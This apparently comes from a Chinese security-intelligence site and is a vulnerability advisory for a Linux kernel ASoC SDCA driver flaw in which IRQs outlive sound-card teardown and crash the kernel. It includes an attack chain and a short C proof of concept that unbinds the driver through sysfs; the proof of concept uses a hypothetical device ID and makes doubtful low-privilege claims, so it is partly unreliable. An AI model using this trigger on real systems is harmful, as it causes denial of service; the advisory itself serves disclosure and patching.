IPBUF安全漏洞报告
English
CVE-2026-43095 CVSS 5.5 中危

CVE-2026-43095 Linux内核ASoC SDCA资源释放漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43095
漏洞类型
资源管理错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoS资源管理错误ASoC本地漏洞

漏洞概述

Linux内核ASoC子系统的SDCA驱动存在资源管理错误漏洞。在组件探测阶段,代码使用devm_request_threaded_irq()启用IRQ。然而,如果声卡被拆除,这些中断请求可能会持续存在。由于部分中断处理程序存储了对声卡和kcontrols的引用,在资源释放后访问这些引用会导致系统崩溃或失败。该漏洞源于在总线探测之外使用了devm托管资源,导致清理逻辑不完善,从而可能引发拒绝服务攻击。

技术细节

该漏洞的技术核心在于Linux内核驱动的资源生命周期管理不当。在ASoC SDCA驱动中,sdca_irq_populate函数在组件探测期间使用devm_request_threaded_irq()来注册中断处理程序。通常情况下,devm(托管资源)机制应用于总线探测阶段,由驱动核心自动管理资源释放。然而,在组件探测中使用它会导致资源生命周期与声卡的实际生命周期不匹配。当声卡被拆除或卸载时,如果组件被销毁但托管资源尚未正确清理,中断处理程序可能仍然处于活动状态。这些处理程序持有指向已释放的snd_soc_component、声卡结构体或kcontrols的指针。当中断触发时,处理程序尝试访问这些悬空指针,导致内核空指针解引用或访问非法内存区域,进而引发内核崩溃。修复方案是移除devm前缀,改用标准的request_threaded_irq,并在驱动卸载时通过free_irq进行显式手动清理。

攻击链分析

STEP 1
步骤1
攻击者获取本地系统的低权限访问权限。
STEP 2
步骤2
确保目标系统加载了存在漏洞的Linux内核,且ASoC SDCA设备处于激活状态。
STEP 3
步骤3
攻击者触发声卡组件的拆除操作(例如通过sysfs解绑驱动)。
STEP 4
步骤4
由于IRQ未正确清理,中断处理程序访问已释放的内存,导致系统崩溃(拒绝服务)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43095 (Linux Kernel ASoC SDCA IRQ Cleanup) * This PoC demonstrates the logic to trigger the vulnerability by unbinding * the driver while IRQs are active, causing a potential kernel crash. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #define UNBIND_PATH "/sys/bus/platform/drivers/sdca_codec/unbind" #define DEVICE_ID "sdca_codec.0" // Hypothetical device ID int main() { int fd; FILE *fp; printf("[*] Attempting to trigger CVE-2026-43095...\n"); // 1. Open sound device to ensure IRQs are populated and active fd = open("/dev/snd/controlC0", O_RDWR); if (fd < 0) { perror("[-] Failed to open sound device"); return 1; } printf("[+] Sound device opened, IRQs active.\n"); // 2. Trigger unbind to tear down the sound card component // This simulates the scenario where the card is torn down but IRQs persist fp = fopen(UNBIND_PATH, "w"); if (!fp) { perror("[-] Failed to open unbind path"); close(fd); return 1; } fprintf(fp, "%s", DEVICE_ID); fclose(fp); printf("[+] Driver unbind triggered. Check for kernel panic.\n"); close(fd); return 0; }

影响范围

Linux Kernel (Mainline) < commit 4e53116437e919c4b9a9d95fb73ae14fe0cfc8f9

防御指南

临时缓解措施
建议用户尽快应用官方发布的内核补丁。如果无法立即升级,应限制本地用户对系统驱动程序的加载和卸载操作,但这仅能降低风险,无法完全修复漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表